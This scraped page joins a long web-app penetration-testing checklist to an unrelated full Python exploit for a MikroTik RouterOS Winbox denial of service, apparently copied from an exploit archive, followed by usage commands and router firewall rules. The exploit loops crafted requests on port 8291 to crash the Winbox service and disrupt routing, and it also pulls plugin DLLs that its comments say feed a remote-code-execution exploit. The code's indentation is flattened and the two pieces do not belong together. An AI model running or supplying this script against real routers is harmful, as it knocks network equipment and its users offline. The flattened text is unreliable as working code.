WEB APP PENTESTING CHECKLIST

 Phase 1: Reconnaissance & Information Gathering 🕵️‍♂️

1. Identify the target domain and IP addresses 🌐
2. Enumerate subdomains 🔍
3. Check for DNS records (A, MX, CNAME, TXT) 📋
4. Perform WHOIS lookup for domain registration details 📞
5. Identify technologies used (frameworks, libraries, CMS) 🛠️
6. Check SSL/TLS certificate details 🔒
7. Map the application architecture (frontend/backend/APIs) 🏗️
8. Identify entry points (login forms, APIs, file uploads) 🚪
9. Review robots.txt and sitemap.xml files 🤖
10. Look for exposed directories/files using directory brute-forcing 📂
11. Check for open ports and services 🚪
12. Identify third-party integrations (payment gateways, analytics) 🤝
13. Analyze HTTP headers for security configurations 📑
14. Check for error messages leaking sensitive information ❌
15. Review version control files (.git, .svn) 📁
16. Identify backup files or archives (.bak, .zip) 💾
17. Check for default credentials in documentation 📚
18. Identify any hardcoded secrets in client-side code 🔑
19. Analyze cookies for sensitive data 🍪
20. Map user roles and permissions 🧑‍💼

— 

Phase 2: OWASP Top Ten Categories and Subcategories 🛡️

1. Broken Access Control 🔓
21. Test for unauthorized access to admin pages 🚫
22. Verify role-based access controls 🧑‍💻
23. Check for IDOR (Insecure Direct Object References) 🆔
24. Test for privilege escalation vulnerabilities ⬆️
25. Verify proper session management 🔑
26. Check for missing authorization checks on API endpoints 📡
27. Test for bypassing CAPTCHA mechanisms 🤖
28. Verify access to restricted files or resources 📂
29. Test for improper logout functionality 🚪
30. Check for insecure redirects or forwards ➡️

2. Cryptographic Failures 🔐
31. Check for weak encryption algorithms 🛠️
32. Verify secure storage of sensitive data 🔒
33. Test for plaintext transmission of sensitive data 📡
34. Check for improper certificate validation 🔐
35. Verify HTTPS usage across all pages 🌐
36. Test for weak password hashing mechanisms 🔑
37. Check for exposure of sensitive tokens or keys 🔑
38. Verify secure random number generation 🎲
39. Test for improper handling of cryptographic exceptions ❌
40. Check for insecure use of JWTs (JSON Web Tokens) 📜

3. Injection Flaws 💉
41. Test for SQL injection vulnerabilities 🗄️
42. Check for NoSQL injection vulnerabilities 📊
43. Verify input sanitization for OS commands ⌨️
44. Test for LDAP injection vulnerabilities 📋
45. Check for XSS (Cross-Site Scripting) vulnerabilities 🌐
46. Verify protection against template injection 📝
47. Test for command injection vulnerabilities 💻
48. Check for XPath injection vulnerabilities 📊
49. Verify protection against header injection 📑
50. Test for log injection vulnerabilities 📜

4. Insecure Design 🏗️
51. Review the application’s threat model 🛡️
52. Check for lack of security controls in design 🚫
53. Verify adherence to secure coding practices 🛠️
54. Test for improper error handling mechanisms ❌
55. Check for insecure default configurations ⚙️
56. Verify proper input validation throughout the app 📋
57. Test for insufficient logging and monitoring 📊
58. Check for insecure use of third-party components 🤝
59. Verify secure integration with external systems 🌐
60. Test for inadequate data validation flows 🔄

5. Security Misconfiguration ⚙️
61. Check for unnecessary features enabled 🚫
62. Verify proper configuration of security headers 📑
63. Test for default accounts/passwords 🧑‍💻
64. Check for verbose error messages ❌
65. Verify proper file permissions 📂
66. Test for insecure cloud storage configurations ☁️
67. Check for outdated software versions 🔄
68. Verify secure database configurations 🗄️
69. Test for improper CORS policies 🌐
70. Check for missing security patches 🛠️

6. Vulnerable Components 🧩
71. Identify outdated libraries/frameworks 🔄
72. Check for known vulnerabilities in dependencies 🔍
73. Verify dependency updates are applied regularly 🛠️
74. Test for insecure use of open-source components 🌟
75. Check for unused or redundant components 🚫
76. Verify secure integration of third-party APIs 🌐
77. Test for insecure plugin/module usage 🧩
78. Check for unpatched vulnerabilities in components 🛡️
79. Verify secure handling of component updates 🔄
80. Test for insecure use of custom-built components 🛠️

7. Identification and Authentication Failures 🔑
81. Check for weak password policies 🧑‍💻
82. Verify multi-factor authentication (MFA) implementation 🔒
83. Test for account enumeration vulnerabilities 🆔
84. Check for insecure password recovery mechanisms 🔄
85. Verify session timeout and invalidation 🔑
86. Test for brute-force attack protections 🛡️
87. Check for insecure storage of credentials 🔒
88. Verify secure handling of authentication tokens 📜
89. Test for improper use of remember-me functionality 🧠
90. Check for insecure OAuth implementations 🌐

8. Software and Data Integrity Failures 🔄
91. Verify integrity of downloaded files/updates 📥
92. Check for insecure deserialization vulnerabilities 🧩
93. Test for tampering of client-side data 🔄
94. Verify secure handling of serialized objects 📦
95. Check for improper validation of external inputs 📋
96. Test for insecure use of auto-update mechanisms 🔄
97. Verify secure handling of backups 💾
98. Check for improper validation of digital signatures 📜
99. Test for insecure handling of API responses 📡
100. Verify secure deployment pipelines 🛠️

9. Security Logging and Monitoring Failures 📊
101. Check for insufficient logging of security events 📜
102. Verify proper alerting mechanisms for anomalies ⚠️
103. Test for logging of sensitive data 🔒
104. Check for centralized logging solutions 📊
105. Verify log retention policies 📅
106. Test for real-time monitoring capabilities 🕒
107. Check for correlation of logs across systems 🔄
108. Verify secure storage of logs 🔒
109. Test for detection of brute-force attacks 🛡️
110. Check for logging of failed login attempts 🔑

10. Server-Side Request Forgery (SSRF) 🌐
111. Test for SSRF vulnerabilities in APIs 📡
112. Check for improper validation of URLs 🌐
113. Verify protection against internal network access 🛡️
114. Test for SSRF via metadata endpoints ☁️
115. Check for improper handling of redirects ➡️
116. Verify secure parsing of user-supplied URLs 📑
117. Test for SSRF in image/file processing 🖼️
118. Check for SSRF in email sending functionality 📧
119. Verify secure handling of proxy configurations 🌐
120. Test for SSRF in third-party integrations 🤝

— -

Phase 3: Advanced Vulnerabilities 🚀

1. Advanced Injection Techniques
121. Test for blind SQL injection vulnerabilities 🗄️
122. Check for second-order SQL injection vulnerabilities ⚡
123. Test for time-based blind SQL injection ⏳
124. Verify protection against union-based SQL injection 🛡️
125. Test for stacked queries in SQL injection 📜
126. Check for out-of-band SQL injection vulnerabilities 🌐
127. Test for advanced NoSQL injection techniques 📊
128. Verify protection against GraphQL query injection 📊
129. Test for server-side template injection (SSTI) 📝
130. Check for advanced XSS payloads (DOM-based, stored, reflected) 🌐

2. Advanced Authentication Attacks
131. Test for token replay attacks 🔑
132. Check for JWT none algorithm vulnerabilities 📜
133. Test for JWT signature verification bypass 🛡️
134. Verify protection against OAuth CSRF attacks 🌐
135. Test for session fixation vulnerabilities 🔑
136. Check for improper session regeneration after login 🔄
137. Test for insecure password reset mechanisms 🔄
138. Verify protection against credential stuffing attacks 🛡️
139. Test for insecure single sign-on (SSO) implementations 🌐
140. Check for improper handling of OAuth scopes 📑

3. Advanced Authorization Attacks
141. Test for horizontal privilege escalation ⬆️
142. Check for vertical privilege escalation 🧑‍💻
143. Test for bypassing access controls via API endpoints 📡
144. Verify protection against forced browsing attacks 📂
145. Test for bypassing CAPTCHA during critical workflows 🤖
146. Check for improper handling of user roles in APIs 📡
147. Test for bypassing two-factor authentication (2FA) 🔒
148. Verify protection against business logic flaws in authorization 🔄
149. Test for bypassing rate limits in sensitive operations ⏳
150. Check for improper handling of permissions in microservices 🌐

4. Advanced Business Logic Flaws
151. Test for improper price manipulation in e-commerce apps 💰
152. Check for bypassing payment steps 🛒
153. Verify secure handling of referral bonuses 🎁
154. Test for abuse of discount codes 🛍️
155. Check for improper inventory management 📦
156. Verify secure handling of workflows 🔄
157. Test for abuse of rate limits ⏳
158. Check for improper access to hidden features 🔍
159. Verify secure handling of cancellation flows 🚫
160. Test for abuse of free trials 🕒

5. Advanced Miscellaneous Vulnerabilities
161. Test for insecure WebSocket implementations 🌐
162. Check for improper handling of CORS preflight requests 📡
163. Verify protection against clickjacking attacks 🖱️
164. Test for insecure handling of HTTP headers 📑
165. Check for improper handling of JSONP callbacks 📜
166. Verify protection against host header injection attacks 🌐
167. Test for insecure use of Web Assembly (WASM) 🛠️
168. Check for improper handling of CSP (Content Security Policy) 🛡️
169. Verify protection against XML External Entity (XXE) attacks 📊
170. Test for insecure handling of file uploads (e.g., RCE via uploads) 📂

— -

Phase 4: Report Writing ✍️
171. Include an executive summary 📑
172. Provide a detailed methodology section 🛠️
173. List all identified vulnerabilities 🛡️
174. Include risk ratings for each issue ⚠️
175. Add screenshots for clarity 📷
176. Provide step-by-step reproduction steps 🔄
177. Include remediation recommendations 🛠️
178. Highlight critical findings first 🔥
179. Add references to OWASP guidelines 📚
180. Include a timeline of testing activities 📅
181. Provide a glossary of technical terms 📖
182. Include a disclaimer for limitations 🚫
183. Add contact information for follow-up 📞
184. Verify confidentiality of the report 🔒
185. Proofread for grammar and clarity ✍️
186. Format the report professionally 📄
187. Include a table of contents 📑
188. Add appendices for additional details 📋
189. Verify alignment with client requirements 🤝
190. Include a conclusion with next steps 🚀

— -

Phase 5: Final Steps 🏁
191. Re-test after fixes are applied 🔄
192. Verify patch effectiveness 🛡️
193. Document lessons learned 📚
194. Update the threat model 🏗️
195. Conduct a post-mortem analysis 📊
196. Share findings with stakeholders 🤝
197. Provide training for developers 🛠️
198. Recommend periodic security audits 📅
199. Encourage a security-first mindset 🛡️
200. Celebrate successes 🎉

— 

This checklist provides detailed steps to find web application flaws in 2025 this checklist is for those who are looking to start career in bug bounty or web app security - medium

attack DoS Mikrotik RouterOS 2.9.6 - 5.15

Script Python : from http://www.133tsec.com/2012/04/30/0day-ddos-mikrotik-server-side-ddos-attack/

http://www.exploit-db.com/exploits/18817/

#!/usr/bin/python

# Exploit Title:    Mikrotik Router Remote Denial Of Service attack

# Date:             19/4/2012

# Author:           PoURaN @ 133tsec.com

# Software Link:    http://www.mikrotik.com

# Version:          All mikrotik routers with winbox service enabled are affected (still a 0day 30/5/2012)

# Tested on:        Mikrotis RouterOS 2.9.6 up to 5.15

#

#  Vulnerability Description

# ===========================

# DETAILS & PoC VIDEO : http://www.133tsec.com/2012/04/30/0day-ddos-mikrotik-server-side-ddos-attack/

# The denial of service, happens on mikrotik router's winbox service when

# the attacker is requesting continuesly a part of a .dll/plugin file, so the service

# becomes unstable causing every remote clients (with winbox) to disconnect

# and denies to accept any further connections. That happens for about 5 minutes. After

# the 5 minutes, winbox is stable again, being able to accept new connections.

# If you send the malicious packet in a loop (requesting  part of a file right after

# the service becoming available again) then you result in a 100% denial of winbox service.

# While the winbox service is unstable and in a denial to serve state, it raises router's CPU 100%

# and other actions. The "other actions" depends on the router version and on the hardware.

# For example on Mikrotik Router v3.30 there was a LAN corruption, BGP fail, whole router failure

#   => Mikrotik Router v2.9.6 there was a BGP failure

#   => Mikrotik Router v4.13 unstable wifi links

#   => Mikrotik Router v5.14/5.15 rarely stacking

#   =>>> Behaviour may vary most times, but ALL will have CPU 100% . Most routers loose BGP after long time attack <<<=

#

#

#  The exploit

# =============

# This is a vulnerability in winbox service, exploiting the fact that winbox lets you download files/plugins

# that winbox client needs to control the server, and generally lets you gain basic infos about the service BEFORE

# user login!

# Sending requests specially crafted for the winbox service, can cause a 100% denial of winbox service (router side).

# This script, offers you the possibility to download any of the dlls that can be downloaded from the router one-by-one

# or alltogether! (look usage for more info) .. The file must be contained in the router's dll index.

# The dlls downloaded, are in the format of the winbox service.. Meaning that they are compressed with gzip and they

# have 0xFFFF bytes every 0x101 bytes (the format that winbox client is expecting the files)

# These DLLs can be used by the "Winbox remote code execution" exploit script ;)

#

#  Usage

# =======

# Use the script as described below:

# 1. You can download ALL the files of the router's dll index using the following command:

#   python mkDl.py 10.0.0.1 * 1

#   the "1" in the end, is the speed.. "Speed" is a factor I added, so the script delays a bit while receiving

#   information from the server. It is a MUST for remote routers when they are in long distance (many hops) to use

#   a slower speed ( 9 for example ).

#   Also in the beginning of the dlls file list, script shows you the router's version (provided by router's index)

# 2. You can download a specific .dll file from the remote router.

#   python mkDl.py 10.67.162.1 roteros.dll 1

#   In this example i download roteros.dll (which is the biggest and main plugin) with a speed factor of 1 (very fast)

#   Because roteros and 1-2 other files are big, you have to request them in different part (parts of 64k each)

#   That is a restriction of winbox communication protocol.

#   If you don't know which file to request, make a "*" request first (1st usage example), see the dlls list, and press ctrl-c

#   to stop the script.

# 3. You can cause a Denial Of Service to the remote router.. Means denial in winbox service or more (read above for more)

#   python mkDl.py 10.67.162.1 DoS

#   This command starts requesting from router's winbox service the 1st part of roteros.dll looping the request

#   and causing DoS to the router. The script is requesting the file till the router stops responding to the port (8291)

#   Then it waits till the service is up again (using some exception handling), then it requests again till the remote

#   service is down again etc etc... The requests lasts for about 2 seconds, and the router is not responding for about

#   5 minutes as far as i have seen from my tests in different routeros versions.

#

#   <> Greetz to mbarb, dennis, andreas, awmn and all mighty researchers out there! keep walking guys <>

#

import socket, sys, os, struct, random, time

def InitConnection(mikrotikIP, speed):

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s.connect((mikrotikIP, 8291))

s.send(winboxStartingIndex)

data = s.recv(1024)         # receiving dll index from server

time.sleep(0.001*speed)

if data.find("\xFF\x02"+"index"+"\x00") > -1:

print "[+] Index received!"

else:

print "[+] Wrong index.. Exiting.."

sys.exit(0)

return s

def download(filename, speed, s):

f = open(filename, 'wb')

if len(filename) < 13 and len(filename) > 6:

print "[+] Requesting file ", filename, ' <->'

winboxStartingFileReq = RequestHeader + filename.ljust(12, '\x00') + RequestFirstFooter

s.send(winboxStartingFileReq)

time.sleep(0.001*speed)

dataReceived = s.recv(1)

if dataReceived[0:1]=='\xFF':

print "[+] Receiving the file..."

f.write(dataReceived)                       # written 1st byte

time.sleep(0.001*speed)

dataReceived = s.recv(0x101)                # 0x100 + 1

nextPartFingerprint = struct.unpack('>H', dataReceived[14:16])[0]

if dataReceived[0:1]=='\x02':

time.sleep(0.001*speed)

f.write(dataReceived)                   # written 1st chunk 0x102 bytes with header in file.

dataReceived = s.recv(0x102)            # 1st sequence of (0xFF 0xFF)

bytesToRead = int(dataReceived[len(dataReceived)-2].encode('hex'), 16) + 2

f.write(dataReceived)                   # write the next 0x102 bytes (total 0x102+0x102 in file)

else:

print "[-] Wrong data received..(2)"

sys.exit(0)

else:

print "[-] Wrong data received..(1)"

sys.exit(0)

finalPart=0

bigFileCounter = 0xFFED

packetsCounted=0        # counter for the 0x101 packet counts. Every time a file is requested this counter is 0

fileRequested=0         # every time a file needs to be requested more than 1 time, this is it's counter.

while 1:                                # header of file done.. Now LOOP the body..

packetsCounted+=1   # dbg

time.sleep(0.001*speed)

dataReceived = s.recv(bytesToRead)

f.write(dataReceived)

if (bytesToRead <> len(dataReceived)) and packetsCounted==255:    # an den diavazei osa bytesToRead prepei, simainei oti eftase sto telos i lipsi tou part pou katevazoume

packetsCounted = -1

print '[+] Next file part : ', fileRequested

s.send(RequestHeader + filename.ljust(12, '\x00') + '\xFF\xED\x00' + struct.pack('=b',fileRequested) +  struct.pack('>h',bigFileCounter))

time.sleep(0.001*speed)

dataReceived = s.recv(0x101 + 2)            # Reads the new header of the new part!!!

nextPartFingerprint = struct.unpack('>H', dataReceived[14:16])[0]

f.write(dataReceived)

bytesToRead = int(dataReceived[len(dataReceived)-2].encode('hex'), 16)

fileRequested += 1

bigFileCounter -= 0x13

bytesToRead = int(dataReceived[len(dataReceived)-2].encode('hex'), 16)      # den prostheto 2 tora giati to teleutaio den einai ff.. einai akrivos to size pou paramenei..

if bytesToRead==0xFF:           # kalipto tin periptosi opou to teleutaio struct den einai ff alla exei to size pou apomenei

bytesToRead += 2

if bytesToRead != 0x101 and nextPartFingerprint < 65517: # dikaiologountai ta liga bytes otan teleiose ena apo ta parts tou file

time.sleep(0.001*speed)

dataReceived = s.recv(bytesToRead)

f.write(dataReceived)

break

if bytesToRead != 0x101 and nextPartFingerprint==65517:     # ligotera bytes KAI fingerprint 65517 simainei corrupted file..

print '[-] File download terminated abnormaly.. please try again probably with a slower speed..'

sys.exit(0)

if fileRequested < 1:    print '[+] File was small and was downloaded in one part\n[+] Downloaded successfully'

else:   print '[+] File '+filename+' downloaded successfully'

f.close()

s.close()

def Flood(s):

filename = 'roteros.dll'

f = 'we\'r not gonna use I/O to store the data'

print "[+] Requesting file ", filename, ' till death :)'

time.sleep(1)

winboxStartingFileReq = RequestHeader + filename.ljust(12, '\x00') + RequestFirstFooter

s.send(winboxStartingFileReq)

time.sleep(0.001)

dataReceived = s.recv(1)

if dataReceived[0:1]=='\xFF':

f = dataReceived                        # written 1st byte

time.sleep(0.001)

dataReceived = s.recv(0x101)                # 0x100 + 1

nextPartFingerprint = struct.unpack('>H', dataReceived[14:16])[0]

if dataReceived[0:1]=='\x02':

time.sleep(0.001)

f = dataReceived                    # written 1st chunk 0x102 bytes with header in file.

dataReceived = s.recv(0x102)            # 1st sequence of (0xFF 0xFF)

bytesToRead = int(dataReceived[len(dataReceived)-2].encode('hex'), 16) + 2

f = dataReceived                    # write the next 0x102 bytes (total 0x102+0x102 in file)

else:

print "[-] Wrong data received..(2)"

sys.exit(0)

else:

print "[-] Wrong data received..(1)"

sys.exit(0)

finalPart=0

bigFileCounter = 0xFFED

packetsCounted=0        # counter for the 0x101 packet counts. Every time a file is requested this counter is 0

fileRequested=0         # every time a file needs to be requested more than 1 time, this is it's counter.

try:

while 1:

s.send(RequestHeader + filename.ljust(12, '\x00') + '\xFF\xED\x00' + struct.pack('=b',fileRequested) +  struct.pack('>h',bigFileCounter))

s.recv(1)

print '- Sending evil packet.. press CTRL-C to stop -'

except:

print 'Connection reseted by server.. trying attacking again'

###############################################################################################################

########################################### SCRIPT BODY STARTS HERE ###########################################

global RequestHeader

RequestHeader = ('\x12\x02')

global RequestFirstFooter

RequestFirstFooter = ('\xFF\xED\x00\x00\x00\x00')

global winboxStartingIndex

winboxStartingIndex=(RequestHeader + 'index' + '\x00'*7 + RequestFirstFooter)

winboxStartingFileReq=(RequestHeader + '\x00'*12 + RequestFirstFooter)

print '\n[Winbox plugin downloader]\n\n'

if len(sys.argv)==3:

if sys.argv[2]=='DoS':                          # if i combine both checks in 1st if, there will be error.. guess why.. ;)

print '[+] Hmmm we gonna attack it..'

time.sleep(1)

speed=1

mikrotikIP = sys.argv[1]

filename = sys.argv[2]

while 1:

time.sleep(1)

try:

s = InitConnection(mikrotikIP, speed)

Flood(s)

except:

time.sleep(1)

if len(sys.argv)<>4:

print 'Usage : '+sys.argv[0]+' \n\t:\t [from 0 to 9] 1=faster, 9=slower but more reliable\n'

sys.exit(0)

mikrotikIP = sys.argv[1]

filename = sys.argv[2]

speed = int(sys.argv[3])

if speed>9 or speed<1:

print 'Speed must be between 1 and 9 else there are unexpected results!'

sys.exit(0)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s.connect((mikrotikIP, 8291))

s.send(winboxStartingIndex)

data = s.recv(1024)         # receiving dll index from server

s.close()

if filename.find('*') > -1:

DllList = data.split('\x0a')

print 'Mikrotik\'s version is '+DllList[1].split(' ')[3]+'\nThe following Dlls gonna be requested :'

for i in range(0, len(DllList)-1):

print DllList[i].split(' ')[2]

raw_input('> Press enter to continue <')

for extractedDlls in range(0, len(DllList)-1):

print "[+] Requesting ", DllList[extractedDlls].split(' ')[2]

filename=DllList[extractedDlls].split(' ')[2]

s = InitConnection(mikrotikIP, speed)

download(filename, speed, s)

else:

s = InitConnection(mikrotikIP, speed)

    download(filename, speed, s)


 

---------

howto used:  #python mikrotikdos.py dos
 

------


How to protected :


1. change port 8921 (winbox) to others port (ex: 8999)
2. make script protected firewall, ex:


add action=add-src-to-address-list address-list=DDOS address-list-timeout=15s \
chain=input disabled=no dst-port=1337 protocol=tcp
add action=add-src-to-address-list address-list=DDOS address-list-timeout=15m \
chain=input disabled=no dst-port=7331 protocol=tcp src-address-list=knock
add action=add-src-to-address-list address-list=”port scanners” \
address-list-timeout=2w chain=input comment=”Port scanners to list ” \
disabled=no protocol=tcp psd=21,3s,3,1
add action=add-src-to-address-list address-list=”port scanners” \
address-list-timeout=2w chain=input comment=”SYN/FIN scan” disabled=no \
protocol=tcp tcp-flags=fin,syn
add action=add-src-to-address-list address-list=”port scanners” \
address-list-timeout=2w chain=input comment=”SYN/RST scan” disabled=no \
protocol=tcp tcp-flags=syn,rst
add action=add-src-to-address-list address-list=”port scanners” \
address-list-timeout=2w chain=input comment=”FIN/PSH/URG scan” disabled=\
no protocol=tcp tcp-flags=fin,psh,urg,!syn,!rst,!ack
add action=add-src-to-address-list address-list=”port scanners” \
address-list-timeout=2w chain=input comment=”ALL/ALL scan” disabled=no \
protocol=tcp tcp-flags=fin,syn,rst,psh,ack,urg
add action=add-src-to-address-list address-list=”port scanners” \
address-list-timeout=2w chain=input comment=”NMAP NULL scan” disabled=no \
protocol=tcp tcp-flags=!fin,!syn,!rst,!psh,!ack,!urg